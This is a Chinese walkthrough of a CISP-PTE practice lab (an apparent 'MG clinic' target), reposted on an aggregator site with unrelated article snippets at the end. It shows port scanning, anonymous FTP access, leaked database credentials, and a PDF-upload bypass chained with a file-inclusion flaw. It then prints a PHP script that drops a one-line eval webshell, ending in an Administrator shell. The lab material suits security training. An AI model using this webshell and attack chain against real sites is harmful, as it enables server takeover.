PTE-MG诊所靶场 wirteup

news/2024/9/19 12:29:49/文章来源:https://www.cnblogs.com/Willow-324/p/18406044

一.信息收集

1.端口扫描

使用nmap进行扫描,结果如下

┌──(kali㉿kali)-[~]
└─$ nmap -sV 10.0.0.91
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-09 21:37 EDT
Nmap scan report for 10.0.0.91
Host is up (0.027s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           vsftpd 2.0.8 or later
80/tcp   open  http          Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.2.17)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3306/tcp open  mysql         MySQL 5.5.53
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.53 seconds

发现FTP,web,MySQL等服务(靶场环境原因忽略135等端口)

使用postjson工具扫描端口,发现新的端口

域名 端口 端口状态 ip
10.0.0.91 5357 开放 10.0.0.91
10.0.0.91 5985 开放 10.0.0.91
10.0.0.91 6721 开放 10.0.0.91

尝试访问,发现在6721端口有新的站点

2.web路径扫描

使用御剑进行扫描

未发现可利用信息

3.phpinfo

尝试访问phpinfo,成功

二.漏洞扫描

1.FTP服务

尝试匿名用户登录,成功

ftp> user
(username) anonymous
331 Password required for anonymous
Password: 
230 User successfully logged in.
Remote system type is UNIX.
Using binary mode to transfer files.

2.MySQL服务

根据服务版本搜索,未发现可利用漏洞

尝试弱口令攻击,失败

3.web服务

访问80端口web页面

提交信息后得到后台登录页面,尝试弱口令攻击,失败。

访问6721web页面

发现查询API

根据提示得知使用archive参数通过post方法传参来查询档案

猜测有文件包含漏洞,验证成功

三.渗透攻击

使用匿名用户登录FTP服务器,查询文件,发现数据库配置文件

ftp> ls
200 Port command successful.
150 Opening ASCII mode data connection for directory list.
pub
226 Transfer complete
ftp: 收到 8 字节,用时 0.00秒 8000.00千字节/秒。
ftp> cd pub
250 "/pub" is current directory.
ftp> ls
200 Port command successful.
150 Opening ASCII mode data connection for directory list.
config.php
226 Transfer complete
ftp: 收到 15 字节,用时 0.00秒 15.00千字节/秒。

下载查看,发现数据库远程登录账密

$config['db'] = array('hostname' => 'localhost',   //数据库主机'datebase' => 'patient',   //数据库名称'host' => 'localhost',   //数据库主机'username' => 'root',        //数据库用户名'password' => '123456',      //数据库密码,remote:madbm@123'charset' => 'utf8',         //数据库字符集'pre' => 'mg_');             //数据库表前缀

登录数据库,直奔user表,发现后台登录账密表

密码由md5加密,破解失败,添加一个管理员用户登录后台,成功

进入web后台

仔细搜索,在档案管理处发现文件上传,限制类型为PDF

但是同一主机另一个网站存在文件包含漏洞,所以什么类型都无所谓

只要找到上传的文件的路径,就畅通无阻

仔细查找phpinfo,发现web容器绝对路径

由此构造路径 ../../PIzABXDg/ 去包含后台页面,获取源码

<?php require('config_hhh.php');?>
<?php include('lib/functions.php');?>
<?php require('lib/mysql.class.php');?>
<?php
@extract($_GET,EXTR_PREFIX_ALL,"g");
if(isset($_POST['submit']) || isset($g_submit)){@check_post_request();@extract($_POST,EXTR_PREFIX_ALL,"p");
}session_cache_limiter('private,must-revalidate');
if(!isset($_SESSION)){session_start();
}
$db = new c_mysql;
$g_m = (isset($g_m) && in_array_key($g_m,$config['model'])) ? $g_m : 'login';
$g_o = isset($g_o) ? $g_o : '';if($g_m != 'login')if(!isset($_SESSION['uid'])){header('Location:?m=login');exit();}if(isset($_SESSION['uid']) && $g_m != 'login'){$user = $db->select_one('user',array('id' => $_SESSION['uid']));if(!$user)alert_goto('?m=login','没有这个用户的记录,请重新登录!');
}if($g_m == 'home'){$g_m = 'order';$g_o = 'list';
}$exts = $db->select_date('ext');
foreach($exts as $ext)$config['ext'][$ext['id']] = $ext;
foreach($exts as $ext)$config['ext'][$ext['code']] = $ext;$model_file = 'model/'.$g_m.'.php';
if(file_exists($model_file))include($model_file);$operate_file = 'model/'.$g_m."_".$g_o.".php";
if(file_exists($operate_file))include($operate_file);create_html();
?>

阅读源码,结合上传点的url得知上传模块源码在model/order_upload.php,继续包含获取源码

<?php
$operates['upload'] = '上传档案';
$target_dir = "CISP-PTE-1413/";
$info = '';if(isset($_POST["submit"])){$target_file = $target_dir . basename($_FILES[fileToUpload]["name"]);
$uploadOK = 1;
$fileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if(file_exists($target_file)){$info="文件已经存在";$uploadOK = 0;
}
if($fileType != "pdf"){$info = "只允上传PDF文件";$uploadOK = 0;
}
if($fileType != "pdf"){$info = "只允许上传pdf文件";$uploadOK = 0;
}
if($uploadOK == 0){
}else{if(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)){$info = basename($_FILES["fileToUpload"]["name"])."上传成功";}else{$info = "上传文件时发生错误";}
}
}
$main_tpl = "order_upload.htm";
$replace['{info}'] = $info;
?>

阅读源码得到文件上传的路径:CISP-PTE-1413/

构造攻击脚本

<?php
$file = 'shell324.php';$handle = fopen($file,'w');
$string1 = '$_POST[\'cmd\']';
$string2 = "<?php eval(".$string1.");?>";if($handle){echo "ok\n";fwrite($handle,$string2);fclose($handle);
}else{echo "not ok\n";
}
?>

保存为pdf格式,上传并通过文件包含运行,生成一句话木马,使用工具连接

Get Shell√

currentDir:C:/phpStudy/PHPTutorial/WWW/html/api/
fileRoot:[C:/, D:/]
currentUser:Administrator
osInfo:Windows NT AD01 6.2 build 9200C:/phpStudy/PHPTutorial/WWW/html/api/ >whoamiad01\administrator
C:/phpStudy/PHPTutorial/WWW/html/api/ >

直接就是超级管理员,真省事

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/794870.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

煤矿安全帽佩戴检测系统

煤矿安全帽佩戴检测系统在安全生产中是至关重要的。全天候24h识别监督作业人员是否佩戴安全帽,能提高工人的安全防范意识,降低危险发生的几率。伴随着行业需求的持续细分化,煤矿安全帽佩戴检测系统将快速迭代,应用安全帽或工作服装开展分组管理,融合脸部鉴别系统,对重点区…

明厨亮灶监控系统

明厨亮灶监控系统可以识别厨师帽厨师服的穿戴识别,不戴口罩识别,餐厅厨房抽烟识别,后厨出现老鼠识别报警,发现陌生人进入后厨行为及时警报并将报警信息同步给相关工作人员的手机上,协助餐厅厨房工作员提高标准意识。“人工智能厨房”借助传统监控摄像头、视频传输和显示等…

UE中如何制作后处理设置面板

1)UE中如何制作后处理设置面板2)Magica Clothes 2插件与Burst编译问题3)UI大小和文本变量4)如何检索直线与网格的所有交点这是第399篇UWA技术知识分享的推送,精选了UWA社区的热门话题,涵盖了UWA问答、社区帖子等技术知识点,助力大家更全面地掌握和学习。 UWA社区主页:c…

Winform C# 窗体应用程序简单入门

搬运来源:https://blog.csdn.net/weixin_46262993/article/details/104169982?spm=1001.2014.3001.5502 一、什么是Winform? WinForm 是 Windows Form 的简称,是基于 .NET Framework 平台的客户端(PC软件)开发技术,一般使用C#编程。C# WinForm 编程需要创建「Windows窗体…

SAP ABAP 选择屏幕加按钮

示例: SELECTION-SCREEN BEGIN OF BLOCK b2 WITH FRAME TITLE TEXT-002. SELECTION-SCREEN:BEGIN OF LINE,PUSHBUTTON 1(15) sel USER-COMMAND sel,PUSHBUTTON 17(15) unsel USER-COMMAND unsel,END OF LINE.SELECTION-SCREEN BEGIN OF LINE. PARAMETERS: c01 TYPE char1 AS CH…

国产游戏蓄力,火山引擎ByteHouse助力游戏厂商造爆款

ByteHouse具备高性能特性,在高并发、点查场景中具备显著优势,并且全面兼容ClickHouse、MySQL生态,可以实现应用平滑迁移,与游戏场景中的用户行为分析、广告效果分析、广告推荐、游戏推荐等非常匹配。更多技术交流、求职机会,欢迎关注字节跳动数据平台微信公众号,回复【1】…

GIS学习(个人学习笔记)(永久修改属性表字段顺序的方法2——access数据库软件修改字段顺序)

当然更推荐直接在GIS中使用合并工具来调整字段顺序或者删除将shp文件导出为数据库文件 使用TableToDBASE表转 dBASE (批量)3.再用office access导入4.将2中生成的dbf文件打开 5.对需要调整顺序的字段进行编辑或者删除

08 Windows批处理之执行编译后的程序

本文是关于一个bat文件执行或调用另一种语言编写和编译的程序。实际上,这样做的语法非常简单。本文最有趣的方面是,有时正在执行的程序在bat文件中没有定义路径。bat文件如何找到可执行文件? 本文的主要重点将放在查找此类程序的两个非常重要的机制上,即当前目录和路径变量…

工地安全带识别系统

高处工地安全带识别系统选用目前的视频监控系统系统,纪录高清图像。依据图像检测,工地现场作业人员的工地安全带识别系统将识别工作人员是不是系好安全带,如果没有则立刻报警提醒。施工工地安全带识别:安全带识别系统高处作业安全带识别。高处工地安全带识别系统选用目前的…

91卫图内存不能为written

91卫图出现报错,报错信息如下:解决方法: 把91卫图助手软件目录下面的layer.bin改成layer1.bin,然后再打开软件 打开以后,图层管理器, 右键“我的图层”,点击还原所有图层,选择最早的一个时间点还原

apisix~kafka-logger插件

作用 将http请求与响应的内容发到kafka的topic,以json的形式发送存储 配置相关log_format为自定义配置字段,添加后,默认的请求响应消息将被覆盖{"_meta": {"disable": false},"batch_max_size": 1,"brokers": [{"host": …